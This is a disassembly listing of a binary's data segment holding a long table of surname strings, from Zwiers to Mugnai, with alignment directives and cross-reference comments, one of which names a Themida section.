aZwiers db 'Zwiers',0 ; DATA XREF: ___:0042E82Co
align 4
aZurn db 'Zurn',0 ; DATA XREF: ___:0042E828o
align 10h
aZucconi db 'Zucconi',0 ; DATA XREF: ___:0042E824o
aZoldak db 'Zoldak',0 ; DATA XREF: ___:0042E820o
align 10h
aZerbini db 'Zerbini',0 ; DATA XREF: ___:0042E81Co
aZegans db 'Zegans',0 ; DATA XREF: ___:0042E818o
align 10h
aZangwill db 'Zangwill',0 ; DATA XREF: ___:0042E814o
align 4
aZahedi db 'Zahedi',0 ; DATA XREF: ___:0042E810o
align 4
aZachary db 'Zachary',0 ; DATA XREF: ___:0042E80Co
aYu db 'Yu',0 ; DATA XREF: ___:0042E808o
align 10h
aYoukSee db 'Youk-See',0 ; DATA XREF: ___:0042E804o
align 4
aYoo db 'Yoo',0 ; DATA XREF: ___:0042E800o
aYoffe db 'Yoffe',0 ; DATA XREF: ___:0042E7FCo
align 4
aYetiv db 'Yetiv',0 ; DATA XREF: ___:0042E7F8o
align 10h
aYesson db 'Yesson',0 ; DATA XREF: ___:0042E7F4o
align 4
aYedidia db 'Yedidia',0 ; DATA XREF: ___:0042E7F0o
aYbarra db 'Ybarra',0 ; DATA XREF: ___:0042E7ECo
align 4
aYates db 'Yates',0 ; DATA XREF: ___:0042E7E8o
align 10h
aYarchuk db 'Yarchuk',0 ; DATA XREF: ___:0042E7E4o
aYankee db 'Yankee',0 ; DATA XREF: ___:0042E7E0o
align 10h
aYamane db 'Yamane',0 ; DATA XREF: ___:0042E7DCo
align 4
aYacono db 'Yacono',0 ; DATA XREF: ___:0042E7D8o
align 10h
aVotey db 'Votey',0 ; DATA XREF: ___:0042E7D4o
align 4
aVorhaus db 'Vorhaus',0 ; DATA XREF: ___:0042E7D0o
aWoodsPowell db 'Woods-Powell',0 ; DATA XREF: ___:0042E7CCo
align 10h
aWoods db 'Woods',0 ; DATA XREF: ___:0042E7C8o
align 4
aWooden db 'Wooden',0 ; DATA XREF: ___:0042E7C4o
align 10h
aWoo db 'Woo',0 ; DATA XREF: ___:0042E7C0o
aVonhoffman db 'VonHoffman',0 ; DATA XREF: ___:0042E7BCo
align 10h
aWolk db 'Wolk',0 ; DATA XREF: ___:0042E7B8o
align 4
aVoigt db 'Voigt',0 ; DATA XREF: ___:0042E7B4o
align 10h
aViviani db 'Viviani',0 ; DATA XREF: ___:0042E7B0o
aVitali db 'Vitali',0 ; DATA XREF: ___:0042E7ACo
align 10h
aWilson db 'Wilson',0 ; DATA XREF: ___:0042E7A8o
align 4
aWillstatter db 'Willstatter',0 ; DATA XREF: ___:0042E7A4o
aVillarreal db 'Villarreal',0 ; DATA XREF: ___:0042E7A0o
align 10h
aWilkinson db 'Wilkinson',0 ; DATA XREF: ___:0042E79Co
align 4
aWilkin db 'Wilkin',0 ; DATA XREF: ___:0042E798o
align 4
aWilk db 'Wilk',0 ; DATA XREF: ___:0042E794o
align 4
aWilhelm db 'Wilhelm',0 ; DATA XREF: ___:0042E790o
aWilder db 'Wilder',0 ; DATA XREF: ___:0042E78Co
align 4
aVignola db 'Vignola',0 ; DATA XREF: ___:0042E788o
aViens db 'Viens',0 ; DATA XREF: ___:0042E784o
align 4
aWiener db 'Wiener',0 ; DATA XREF: ___:0042E780o
align 4
aWiedersheim db 'Wiedersheim',0 ; DATA XREF: ___:0042E77Co
aViano db 'Viano',0 ; DATA XREF: ___:0042E778o
align 4
aViana db 'Viana',0 ; DATA XREF: ___:0042E774o
align 10h
aWhittaker db 'Whittaker',0 ; DATA XREF: ___:0042E770o
align 4
aWhitla db 'Whitla',0 ; DATA XREF: ___:0042E76Co
align 4
aWhite db 'White',0 ; DATA XREF: ___:0042E768o
align 4
aWhilton db 'Whilton',0 ; DATA XREF: ___:0042E764o
aWhately db 'Whately',0 ; DATA XREF: ___:0042E760o
aWetzel db 'Wetzel',0 ; DATA XREF: ___:0042E75Co
align 4
aWescott db 'Wescott',0 ; DATA XREF: ___:0042E758o
aVerghese db 'Verghese',0 ; DATA XREF: ___:0042E754o
align 4
aVenne db 'Venne',0 ; DATA XREF: ___:0042E750o
align 10h
aWengret db 'Wengret',0 ; DATA XREF: ___:0042E74Co
aWelsh db 'Welsh',0 ; DATA XREF: ___:0042E748o
align 10h
aWelles db 'Welles',0 ; DATA XREF: ___:0042E744o
align 4
aVelasquez db 'Velasquez',0
align 4
aWeissman db 'Weissman',0
align 10h
aWeissbourd db 'Weissbourd',0
align 4
aWeinhaus db 'Weinhaus',0
align 4
aWeingarten db 'Weingarten',0
align 4
aWeighart db 'Weighart',0
align 10h
aWaugh db 'Waugh',0
align 4
aVasquez db 'Vasquez',0
aWasowska db 'Wasowska',0 ; DATA XREF: ___:0042E720o
align 4
aWarshafsky db 'Warshafsky',0 ; DATA XREF: ___:0042E71Co
align 4
aVanheeckeren db 'Vanheeckeren',0 ; DATA XREF: ___:0042E718o
align 4
aVandenberg db 'Vandenberg',0 ; DATA XREF: ___:0042E714o
align 4
aVanzwet db 'VanZwet',0 ; DATA XREF: ___:0042E710o
aVanallen db 'vanAllen',0
align 4
aWalter db 'Walter',0
align 10h
aWallenberg db 'Wallenberg',0 ; DATA XREF: ___:0042E704o
align 4
aWales db 'Wales',0 ; DATA XREF: ___:0042E700o
align 4
aValencia db 'Valencia',0 ; DATA XREF: ___:0042E6FCo
align 10h
aValberg db 'Valberg',0
aWaite db 'Waite',0 ; DATA XREF: ___:0042E6F4o
align 10h
aVacca db 'Vacca',0
align 4
aUzuner db 'Uzuner',0
align 10h
aUsdan db 'Usdan',0
align 4
aUrdangBrown db 'Urdang-Brown',0
align 4
aUrban db 'Urban',0
align 10h
aUpsdell db 'Upsdell',0
aUntermeyer db 'Untermeyer',0
align 4
aUllman db 'Ullman',0
align 4
aTzamarias db 'Tzamarias',0
align 4
aTwells db 'Twells',0
align 10h
aTuttle db 'Tuttle',0
align 4
aTurek db 'Turek',0
align 10h
aTurano db 'Turano',0
align 4
aTukan db 'Tukan',0
align 10h
aTudge db 'Tudge',0 ; DATA XREF: ___:0042E6B8o
align 4
aTuck db 'Tuck',0
align 10h
aTsukurov db 'Tsukurov',0
align 4
aTsomides db 'Tsomides',0
align 4
aTsiatis db 'Tsiatis',0
aTruss db 'Truss',0
align 4
aTroy db 'Troy',0
align 10h
aTroiani db 'Troiani',0
aTringali db 'Tringali',0
align 4
aTrewin db 'Trewin',0 ; DATA XREF: ___:0042E694o
align 4
aTrenga db 'Trenga',0 ; DATA XREF: ___:0042E690o
align 4
aTraebert db 'Traebert',0 ; DATA XREF: ___:0042E68Co
align 10h
aToye db 'Toye',0 ; DATA XREF: ___:0042E688o
align 4
aTowler db 'Towler',0 ; DATA XREF: ___:0042E684o
align 10h
aTorske db 'Torske',0 ; DATA XREF: ___:0042E680o
align 4
aTorresi db 'Torresi',0 ; DATA XREF: ___:0042E67Co
aTopulos db 'Topulos',0 ; DATA XREF: ___:0042E678o
aToomer db 'Toomer',0 ; DATA XREF: ___:0042E674o
align 10h
aTomford db 'Tomford',0 ; DATA XREF: ___:0042E670o
aTolman db 'Tolman',0 ; DATA XREF: ___:0042E66Co
align 10h
aTolls db 'Tolls',0 ; DATA XREF: ___:0042E668o
align 4
aTollestrup db 'Tollestrup',0 ; DATA XREF: ___:0042E664o
align 4
aTofallis db 'Tofallis',0 ; DATA XREF: ___:0042E660o
align 10h
aTimmons db 'Timmons',0 ; DATA XREF: ___:0042E65Co
aTill db 'Till',0 ; DATA XREF: ___:0042E658o
align 10h
aTierney db 'Tierney',0 ; DATA XREF: ___:0042E654o
aThroop db 'Throop',0 ; DATA XREF: ___:0042E650o
align 10h
aThomsen db 'Thomsen',0 ; DATA XREF: ___:0042E64Co
aThisted db 'Thisted',0 ; DATA XREF: ___:0042E648o
aThibault db 'Thibault',0 ; DATA XREF: ___:0042E644o
align 4
aTheodos db 'Theodos',0 ; DATA XREF: ___:0042E640o
aThavaneswaran db 'Thavaneswaran',0 ; DATA XREF: ___:0042E63Co
align 4
aThan db 'Than',0 ; DATA XREF: ___:0042E638o
align 4
aTerracini db 'Terracini',0 ; DATA XREF: ___:0042E634o
align 4
aTenney db 'Tenney',0 ; DATA XREF: ___:0042E630o
align 10h
aTemmer db 'Temmer',0 ; DATA XREF: ___:0042E62Co
align 4
aTemes db 'Temes',0 ; DATA XREF: ___:0042E628o
align 10h
aTeague db 'Teague',0 ; DATA XREF: ___:0042E624o
align 4
aTcherepnin db 'Tcherepnin',0 ; DATA XREF: ___:0042E620o
align 4
aTawn db 'Tawn',0 ; DATA XREF: ___:0042E61Co
align 4
aTaveras db 'Taveras',0 ; DATA XREF: ___:0042E618o
aTatar db 'Tatar',0 ; DATA XREF: ___:0042E614o
align 4
aTanowitz db 'Tanowitz',0 ; DATA XREF: ___:0042E610o
align 4
aTandler db 'Tandler',0 ; DATA XREF: ___:0042E60Co
aTambiah db 'Tambiah',0 ; DATA XREF: ___:0042E608o
aTalaugon db 'Talaugon',0 ; DATA XREF: ___:0042E604o
align 4
aTai db 'Tai',0 ; DATA XREF: ___:0042E600o
aTagiuri db 'Tagiuri',0 ; DATA XREF: ___:0042E5FCo
aSwindle db 'Swindle',0 ; DATA XREF: ___:0042E5F8o
aSweetser db 'Sweetser',0 ; DATA XREF: ___:0042E5F4o
align 4
aSweeting db 'Sweeting',0 ; DATA XREF: ___:0042E5F0o
align 10h
aSurdam db 'Surdam',0 ; DATA XREF: ___:0042E5ECo
align 4
aSuo db 'Suo',0 ; DATA XREF: ___:0042E5E8o
aSumner db 'Sumner',0 ; DATA XREF: ___:0042E5E4o
align 4
aSullivan db 'Sullivan',0 ; DATA XREF: ___:0042E5E0o
align 10h
aStringer db 'Stringer',0 ; DATA XREF: ___:0042E5DCo
; Themida_:00552D3Bo
align 4
aStreiff db 'Streiff',0 ; DATA XREF: ___:0042E5D8o
aStrauch db 'Strauch',0 ; DATA XREF: ___:0042E5D4o
aStrange db 'Strange',0 ; DATA XREF: ___:0042E5D0o
aStott db 'Stott',0 ; DATA XREF: ___:0042E5CCo
align 4
aStorer db 'Storer',0 ; DATA XREF: ___:0042E5C8o
align 4
aStonich db 'Stonich',0 ; DATA XREF: ___:0042E5C4o
aStolzenberg db 'Stolzenberg',0 ; DATA XREF: ___:0042E5C0o
aStockwell db 'Stockwell',0 ; DATA XREF: ___:0042E5BCo
align 4
aStockton db 'Stockton',0 ; DATA XREF: ___:0042E5B8o
align 10h
aStock db 'Stock',0 ; DATA XREF: ___:0042E5B4o
align 4
aStillwell db 'Stillwell',0 ; DATA XREF: ___:0042E5B0o
align 4
aStiepock db 'Stiepock',0 ; DATA XREF: ___:0042E5ACo
align 10h
aStewartOaten db 'Stewart-Oaten',0 ; DATA XREF: ___:0042E5A8o
align 10h
aStepniewska db 'Stepniewska',0 ; DATA XREF: ___:0042E5A4o
aStephanian db 'Stephanian',0 ; DATA XREF: ___:0042E5A0o
align 4
aSteiner db 'Steiner',0 ; DATA XREF: ___:0042E59Co
aStefani db 'Stefani',0 ; DATA XREF: ___:0042E598o
aStatlender db 'Statlender',0 ; DATA XREF: ___:0042E594o
align 4
aStates db 'States',0 ; DATA XREF: ___:0042E590o
align 4
aStassinopolus db 'Stassinopolus',0 ; DATA XREF: ___:0042E58Co
align 4
aStang db 'Stang',0 ; DATA XREF: ___:0042E588o
align 4
aStam db 'Stam',0 ; DATA XREF: ___:0042E584o
align 4
aStalvey db 'Stalvey',0 ; DATA XREF: ___:0042E580o
aStmartin db 'StMartin',0 ; DATA XREF: ___:0042E57Co
align 10h
aSpinrad db 'Spinrad',0 ; DATA XREF: ___:0042E578o
aSpiliotis db 'Spiliotis',0 ; DATA XREF: ___:0042E574o
align 4
aSpiegelhalter db 'Spiegelhalter',0 ; DATA XREF: ___:0042E570o
align 4
aSpicer db 'Spicer',0 ; DATA XREF: ___:0042E56Co
align 4
aSperber db 'Sperber',0 ; DATA XREF: ___:0042E568o
aSpence db 'Spence',0 ; DATA XREF: ___:0042E564o
align 4
aSpeizer db 'Speizer',0 ; DATA XREF: ___:0042E560o
aSpaulding db 'Spaulding',0 ; DATA XREF: ___:0042E55Co
align 10h
aSparrow db 'Sparrow',0 ; DATA XREF: ___:0042E558o
aSpanier db 'Spanier',0 ; DATA XREF: ___:0042E554o
aSoultanian db 'Soultanian',0 ; DATA XREF: ___:0042E550o
align 4
aSoule db 'Soule',0 ; DATA XREF: ___:0042E54Co
align 4
aSoukup db 'Soukup',0 ; DATA XREF: ___:0042E548o
align 4
aSottak db 'Sottak',0 ; DATA XREF: ___:0042E544o
align 4
aSorg db 'Sorg',0 ; DATA XREF: ___:0042E540o
align 4
aSorabella db 'Sorabella',0 ; DATA XREF: ___:0042E53Co
align 4
aSommariva db 'Sommariva',0 ; DATA XREF: ___:0042E538o
align 4
aSomers db 'Somers',0 ; DATA XREF: ___:0042E534o
align 4
aSolon db 'Solon',0 ; DATA XREF: ___:0042E530o
align 4
aSocolow db 'Socolow',0 ; DATA XREF: ___:0042E52Co
aSnodgrass db 'Snodgrass',0 ; DATA XREF: ___:0042E528o
align 4
aSniffen db 'Sniffen',0 ; DATA XREF: ___:0042E524o
aSmilow db 'Smilow',0 ; DATA XREF: ___:0042E520o
align 4
aSlowe db 'Slowe',0 ; DATA XREF: ___:0042E51Co
align 10h
aSloan db 'Sloan',0 ; DATA XREF: ___:0042E518o
align 4
aSkoda db 'Skoda',0 ; DATA XREF: ___:0042E514o
align 10h
aSkerry db 'Skerry',0 ; DATA XREF: ___:0042E510o
align 4
aSkane db 'Skane',0 ; DATA XREF: ___:0042E50Co
align 10h
aSites db 'Sites',0 ; DATA XREF: ___:0042E508o
align 4
aSirilli db 'Sirilli',0 ; DATA XREF: ___:0042E504o
aSinsabaugh db 'Sinsabaugh',0 ; DATA XREF: ___:0042E500o
align 4
aSilvetti db 'Silvetti',0 ; DATA XREF: ___:0042E4FCo
align 4
aSilverman db 'Silverman',0 ; DATA XREF: ___:0042E4F8o
align 4
aSigna db 'Signa',0 ; DATA XREF: ___:0042E4F4o
align 4
aSigini db 'Sigini',0 ; DATA XREF: ___:0042E4F0o
align 4
aSigalot db 'Sigalot',0 ; DATA XREF: ___:0042E4ECo
aSiesto db 'Siesto',0 ; DATA XREF: ___:0042E4E8o
align 4
aShimon db 'Shimon',0 ; DATA XREF: ___:0042E4E4o
align 4
aShibata db 'Shibata',0 ; DATA XREF: ___:0042E4E0o
aShia db 'Shia',0 ; DATA XREF: ___:0042E4DCo
align 4
aShesko db 'Shesko',0 ; DATA XREF: ___:0042E4D8o
align 4
aShepstone db 'Shepstone',0 ; DATA XREF: ___:0042E4D4o
align 10h
aSheppard db 'Sheppard',0 ; DATA XREF: ___:0042E4D0o
align 4
aShepherd db 'Shepherd',0 ; DATA XREF: ___:0042E4CCo
align 4
aSheats db 'Sheats',0 ; DATA XREF: ___:0042E4C8o
align 10h
aShea db 'Shea',0 ; DATA XREF: ___:0042E4C4o
align 4
aShavelson db 'Shavelson',0 ; DATA XREF: ___:0042E4C0o
align 4
aShatrov db 'Shatrov',0 ; DATA XREF: ___:0042E4BCo
aShar db 'Shar',0 ; DATA XREF: ___:0042E4B8o
align 4
aShanley db 'Shanley',0 ; DATA XREF: ___:0042E4B4o
aShankland db 'Shankland',0 ; DATA XREF: ___:0042E4B0o
align 4
aShakis db 'Shakis',0 ; DATA XREF: ___:0042E4ACo
align 10h
aShaikh db 'Shaikh',0 ; DATA XREF: ___:0042E4A8o
align 4
aSeyfert db 'Seyfert',0 ; DATA XREF: ___:0042E4A4o
aSexton db 'Sexton',0 ; DATA XREF: ___:0042E4A0o
align 4
aSeterdahl db 'Seterdahl',0 ; DATA XREF: ___:0042E49Co
align 4
aSennett db 'Sennett',0 ; DATA XREF: ___:0042E498o
aSen db 'Sen',0 ; DATA XREF: ___:0042E494o
aSelvage db 'Selvage',0 ; DATA XREF: ___:0042E490o
aSekler db 'Sekler',0 ; DATA XREF: ___:0042E48Co
align 10h
aSegal db 'Segal',0 ; DATA XREF: ___:0042E488o
align 4
aSeeber db 'Seeber',0 ; DATA XREF: ___:0042E484o
align 10h
aSeaton db 'Seaton',0 ; DATA XREF: ___:0042E480o
align 4
aScudder db 'Scudder',0 ; DATA XREF: ___:0042E47Co
aScovel db 'Scovel',0 ; DATA XREF: ___:0042E478o
align 4
aSchwickrath db 'Schwickrath',0 ; DATA XREF: ___:0042E474o
aSchwan db 'Schwan',0 ; DATA XREF: ___:0042E470o
align 4
aSchuyler db 'Schuyler',0 ; DATA XREF: ___:0042E46Co
align 4
aSchutte db 'Schutte',0 ; DATA XREF: ___:0042E468o
aSchuman db 'Schuman',0 ; DATA XREF: ___:0042E464o
aSchossberger db 'Schossberger',0 ; DATA XREF: ___:0042E460o
align 4
aSchmitt db 'Schmitt',0 ; DATA XREF: ___:0042E45Co
aSchilling db 'Schilling',0 ; DATA XREF: ___:0042E458o
align 4
aSchifini db 'Schifini',0 ; DATA XREF: ___:0042E454o
align 4
aSchiano db 'Schiano',0 ; DATA XREF: ___:0042E450o
aScheiner db 'Scheiner',0 ; DATA XREF: ___:0042E44Co
align 4
aScharlemann db 'Scharlemann',0 ; DATA XREF: ___:0042E448o
aScharf db 'Scharf',0 ; DATA XREF: ___:0042E444o
align 10h
aScepan db 'Scepan',0 ; DATA XREF: ___:0042E440o
align 4
aScarponi db 'Scarponi',0 ; DATA XREF: ___:0042E43Co
align 4
aSayied db 'Sayied',0 ; DATA XREF: ___:0042E438o
align 4
aSawtell db 'Sawtell',0 ; DATA XREF: ___:0042E434o
aSatterthwaite db 'Satterthwaite',0 ; DATA XREF: ___:0042E430o
align 4
aSatta db 'Satta',0 ; DATA XREF: ___:0042E42Co
align 4
aSatin db 'Satin',0 ; DATA XREF: ___:0042E428o
align 4
aSase db 'Sase',0 ; DATA XREF: ___:0042E424o
align 4
aSartore db 'Sartore',0 ; DATA XREF: ___:0042E420o
aSarin db 'Sarin',0 ; DATA XREF: ___:0042E41Co
align 4
aSapers db 'Sapers',0 ; DATA XREF: ___:0042E418o
align 4
aSanna db 'Sanna',0 ; DATA XREF: ___:0042E414o
align 4
aSanchezRamirez db 'Sanchez-Ramirez',0 ; DATA XREF: ___:0042E410o
aSamson db 'Samson',0 ; DATA XREF: ___:0042E40Co
align 4
aSali db 'Sali',0 ; DATA XREF: ___:0042E408o
align 4
aSahu db 'Sahu',0 ; DATA XREF: ___:0042E404o
align 4
aSafire db 'Safire',0 ; DATA XREF: ___:0042E400o
align 4
aSadler db 'Sadler',0 ; DATA XREF: ___:0042E3FCo
align 4
aSabatello db 'Sabatello',0 ; DATA XREF: ___:0042E3F8o
align 10h
aRyu db 'Ryu',0 ; DATA XREF: ___:0042E3F4o
aRush db 'Rush',0 ; DATA XREF: ___:0042E3F0o
align 4
aRuescher db 'Ruescher',0 ; DATA XREF: ___:0042E3ECo
align 4
aRuderman db 'Ruderman',0 ; DATA XREF: ___:0042E3E8o
align 4
aRuan db 'Ruan',0 ; DATA XREF: ___:0042E3E4o
align 4
aRu db 'Ru',0 ; DATA XREF: ___:0042E3E0o
align 10h
aRoyal db 'Royal',0 ; DATA XREF: ___:0042E3DCo
align 4
aRow db 'Row',0 ; DATA XREF: ___:0042E3D8o
aRonen db 'Ronen',0 ; DATA XREF: ___:0042E3D4o
align 4
aRogers db 'Rogers',0 ; DATA XREF: ___:0042E3D0o
align 4
aRoesler db 'Roesler',0 ; DATA XREF: ___:0042E3CCo
aRocha db 'Rocha',0 ; DATA XREF: ___:0042E3C8o
align 4
aRobinson db 'Robinson',0 ; DATA XREF: ___:0042E3C4o
align 4
aRivera db 'Rivera',0 ; DATA XREF: ___:0042E3C0o
align 10h
aRish db 'Rish',0 ; DATA XREF: ___:0042E3BCo
align 4
aRineer db 'Rineer',0 ; DATA XREF: ___:0042E3B8o
align 10h
aRindos db 'Rindos',0 ; DATA XREF: ___:0042E3B4o
align 4
aRielly db 'Rielly',0 ; DATA XREF: ___:0042E3B0o
align 10h
aRichmond db 'Richmond',0 ; DATA XREF: ___:0042E3ACo
align 4
aRhea db 'Rhea',0 ; DATA XREF: ___:0042E3A8o
align 4
aResnik db 'Resnik',0 ; DATA XREF: ___:0042E3A4o
align 4
aRepetto db 'Repetto',0 ; DATA XREF: ___:0042E3A0o
aRenick db 'Renick',0 ; DATA XREF: ___:0042E39Co
align 4
aRemak db 'Remak',0 ; DATA XREF: ___:0042E398o
align 4
aReinold db 'Reinold',0 ; DATA XREF: ___:0042E394o
aCunningham db 'Cunningham',0 ; DATA XREF: ___:0042E390o
align 4
aReedquist db 'Reedquist',0 ; DATA XREF: ___:0042E38Co
align 4
aReddenTyler db 'Redden-Tyler',0 ; DATA XREF: ___:0042E388o
align 4
aRayport db 'Rayport',0 ; DATA XREF: ___:0042E384o
aRapple db 'Rapple',0 ; DATA XREF: ___:0042E380o
align 4
aRankin db 'Rankin',0 ; DATA XREF: ___:0042E37Co
align 4
aRangan db 'Rangan',0 ; DATA XREF: ___:0042E378o
align 4
aRaney db 'Raney',0 ; DATA XREF: ___:0042E374o
align 4
aRajagopalan db 'Rajagopalan',0 ; DATA XREF: ___:0042E370o
aRadeke db 'Radeke',0 ; DATA XREF: ___:0042E36Co
align 10h
aRabkin db 'Rabkin',0 ; DATA XREF: ___:0042E368o
align 4
aRabe db 'Rabe',0 ; DATA XREF: ___:0042E364o
align 10h
aQuetin db 'Quetin',0 ; DATA XREF: ___:0042E360o
align 4
aQuaday db 'Quaday',0 ; DATA XREF: ___:0042E35Co
align 10h
aPynchon db 'Pynchon',0 ; DATA XREF: ___:0042E358o
aPugh db 'Pugh',0 ; DATA XREF: ___:0042E354o
align 10h
aPuccia db 'Puccia',0 ; DATA XREF: ___:0042E350o
align 4
aProthrowStith db 'Prothrow-Stith',0 ; DATA XREF: ___:0042E34Co
align 4
aProietti db 'Proietti',0 ; DATA XREF: ___:0042E348o
align 4
aPritz db 'Pritz',0 ; DATA XREF: ___:0042E344o
align 4
aPritchard db 'Pritchard',0 ; DATA XREF: ___:0042E340o
align 4
aPrevost db 'Prevost',0 ; DATA XREF: ___:0042E33Co
aPreucel db 'Preucel',0 ; DATA XREF: ___:0042E338o
aPresper db 'Presper',0 ; DATA XREF: ___:0042E334o
aPowers db 'Powers',0 ; DATA XREF: ___:0042E330o
align 4
aPoolman db 'Poolman',0 ; DATA XREF: ___:0042E32Co
aPoma db 'Poma',0 ; DATA XREF: ___:0042E328o
align 4
aPolitis db 'Politis',0 ; DATA XREF: ___:0042E324o
aPolanyi db 'Polanyi',0 ; DATA XREF: ___:0042E320o
aPolak db 'Polak',0 ; DATA XREF: ___:0042E31Co
align 10h
aPoirier db 'Poirier',0 ; DATA XREF: ___:0042E318o
aPointer db 'Pointer',0 ; DATA XREF: ___:0042E314o
aPoincaire db 'Poincaire',0 ; DATA XREF: ___:0042E310o
align 4
aPocobene db 'Pocobene',0 ; DATA XREF: ___:0042E30Co
align 4
aPo db 'Po',0 ; DATA XREF: ___:0042E308o
align 4
aPlous db 'Plous',0 ; DATA XREF: ___:0042E304o
align 4
aPlasket db 'Plasket',0 ; DATA XREF: ___:0042E300o
aPlant db 'Plant',0 ; DATA XREF: ___:0042E2FCo
align 4
aPlancon db 'Plancon',0 ; DATA XREF: ___:0042E2F8o
aPinot db 'Pinot',0 ; DATA XREF: ___:0042E2F4o
align 4
aPilbeam db 'Pilbeam',0 ; DATA XREF: ___:0042E2F0o
aPfister db 'Pfister',0 ; DATA XREF: ___:0042E2ECo
aPettit db 'Pettit',0 ; DATA XREF: ___:0042E2E8o
align 4
aPettibone db 'Pettibone',0 ; DATA XREF: ___:0042E2E4o
align 4
aPetruzello db 'Petruzello',0 ; DATA XREF: ___:0042E2E0o
align 4
aPeters db 'Peters',0 ; DATA XREF: ___:0042E2DCo
align 4
aPerrimon db 'Perrimon',0 ; DATA XREF: ___:0042E2D8o
align 4
aPerone db 'Perone',0 ; DATA XREF: ___:0042E2D4o
align 10h
aPerna db 'Perna',0 ; DATA XREF: ___:0042E2D0o
align 4
aPerlman db 'Perlman',0 ; DATA XREF: ___:0042E2CCo
aPerlak db 'Perlak',0 ; DATA XREF: ___:0042E2C8o
align 4
aPerko db 'Perko',0 ; DATA XREF: ___:0042E2C4o
align 10h
aPereira db 'Pereira',0 ; DATA XREF: ___:0042E2C0o
aPenny db 'Penny',0 ; DATA XREF: ___:0042E2BCo
align 10h
aPeishel db 'Peishel',0 ; DATA XREF: ___:0042E2B8o
aPederson db 'Pederson',0 ; DATA XREF: ___:0042E2B4o
align 4
aPearlberg db 'Pearlberg',0 ; DATA XREF: ___:0042E2B0o
align 10h
aPeabody db 'Peabody',0 ; DATA XREF: ___:0042E2ACo
aPaynter db 'Paynter',0 ; DATA XREF: ___:0042E2A8o
aPawloski db 'Pawloski',0 ; DATA XREF: ___:0042E2A4o
align 4
aPavlon db 'Pavlon',0 ; DATA XREF: ___:0042E2A0o
align 4
aPavetti db 'Pavetti',0 ; DATA XREF: ___:0042E29Co
aPattullo db 'Pattullo',0 ; DATA XREF: ___:0042E298o
align 4
aPatrick db 'Patrick',0 ; DATA XREF: ___:0042E294o
aPatefield db 'Patefield',0 ; DATA XREF: ___:0042E290o
align 4
aPascucci db 'Pascucci',0 ; DATA XREF: ___:0042E28Co
align 4
aPartridge db 'Partridge',0 ; DATA XREF: ___:0042E288o
align 4
aParris db 'Parris',0 ; DATA XREF: ___:0042E284o
align 4
aParmeggiani db 'Parmeggiani',0 ; DATA XREF: ___:0042E280o
aPaoletti db 'Paoletti',0 ; DATA XREF: ___:0042E27Co
align 4
aPantilla db 'Pantilla',0 ; DATA XREF: ___:0042E278o
align 10h
aPanizzon db 'Panizzon',0 ; DATA XREF: ___:0042E274o
align 4
aPanadero db 'Panadero',0 ; DATA XREF: ___:0042E270o
align 4
aPalmitesta db 'Palmitesta',0 ; DATA XREF: ___:0042E26Co
align 4
aPallara db 'Pallara',0 ; DATA XREF: ___:0042E268o
aPalepu db 'Palepu',0 ; DATA XREF: ___:0042E264o
align 4
aPalayoor db 'Palayoor',0 ; DATA XREF: ___:0042E260o
align 10h
aPaine db 'Paine',0 ; DATA XREF: ___:0042E25Co
align 4
aPaesdealmeida db 'PaesDealmeida',0 ; DATA XREF: ___:0042E258o
align 4
aOvid db 'Ovid',0 ; DATA XREF: ___:0042E254o
align 10h
aOuchida db 'Ouchida',0 ; DATA XREF: ___:0042E250o
aOtten db 'Otten',0 ; DATA XREF: ___:0042E24Co
align 10h
aOttaviani db 'Ottaviani',0 ; DATA XREF: ___:0042E248o
align 4
aOstrowski db 'Ostrowski',0 ; DATA XREF: ___:0042E244o
align 4
aOspina db 'Ospina',0 ; DATA XREF: ___:0042E240o
align 10h
aOrsi db 'Orsi',0 ; DATA XREF: ___:0042E23Co
align 4
aOrfield db 'Orfield',0 ; DATA XREF: ___:0042E238o
aOray db 'Oray',0 ; DATA XREF: ___:0042E234o
align 4
aOpel db 'Opel',0 ; DATA XREF: ___:0042E230o
align 10h
aOMeara db 'O',27h,'meara',0 ; DATA XREF: ___:0042E22Co
aOman db 'Oman',0 ; DATA XREF: ___:0042E228o
align 10h
aOMalley db 'O',27h,'malley',0 ; DATA XREF: ___:0042E224o
align 4
aOlszewski db 'Olszewski',0 ; DATA XREF: ___:0042E220o
align 4
aOlson db 'Olson',0 ; DATA XREF: ___:0042E21Co
align 10h
aOlsen db 'Olsen',0 ; DATA XREF: ___:0042E218o
align 4
aOldford db 'Oldford',0 ; DATA XREF: ___:0042E214o
aOHagan db 'O',27h,'hagan',0 ; DATA XREF: ___:0042E210o
aOh db 'Oh',0 ; DATA XREF: ___:0042E20Co
align 4
aOgata db 'Ogata',0 ; DATA XREF: ___:0042E208o
align 4
aOcougne db 'Ocougne',0 ; DATA XREF: ___:0042E204o
aNuzum db 'Nuzum',0 ; DATA XREF: ___:0042E200o
align 4
aNotman db 'Notman',0 ; DATA XREF: ___:0042E1FCo
align 4
aNitabach db 'Nitabach',0 ; DATA XREF: ___:0042E1F8o
align 4
aNisenson db 'Nisenson',0 ; DATA XREF: ___:0042E1F4o
align 4
aNickoloff db 'Nickoloff',0 ; DATA XREF: ___:0042E1F0o
align 10h
aNickerson db 'Nickerson',0 ; DATA XREF: ___:0042E1ECo
align 4
aNi_0 db 'Ni',0 ; DATA XREF: ___:0042E1E8o
align 10h
aNg db 'Ng',0 ; DATA XREF: ___:0042E1E4o
align 4
aNewlin db 'Newlin',0 ; DATA XREF: ___:0042E1E0o
align 4
aNewfeld db 'Newfeld',0 ; DATA XREF: ___:0042E1DCo
aNeuman db 'Neuman',0 ; DATA XREF: ___:0042E1D8o
align 4
aNesci db 'Nesci',0 ; DATA XREF: ___:0042E1D4o
align 4
aNenna db 'Nenna',0 ; DATA XREF: ___:0042E1D0o
align 4
aNelson db 'Nelson',0 ; DATA XREF: ___:0042E1CCo
align 4
aNayduch db 'Nayduch',0 ; DATA XREF: ___:0042E1C8o
aNaviaux db 'Naviaux',0 ; DATA XREF: ___:0042E1C4o
aNardone db 'Nardone',0 ; DATA XREF: ___:0042E1C0o
aNardi db 'Nardi',0 ; DATA XREF: ___:0042E1BCo
align 4
aNapolitano db 'Napolitano',0 ; DATA XREF: ___:0042E1B8o
align 10h
aNaddeo db 'Naddeo',0 ; DATA XREF: ___:0042E1B4o
align 4
aMussachio db 'Mussachio',0 ; DATA XREF: ___:0042E1B0o
align 4
aMumford db 'Mumford',0 ; DATA XREF: ___:0042E1ACo
aMulroy db 'Mulroy',0 ; DATA XREF: ___:0042E1A8o
align 4
aMulkern db 'Mulkern',0 ; DATA XREF: ___:0042E1A4o
aMugnai db 'Mugnai',0 ; DATA XREF: ___:0042E1A0o
align 4
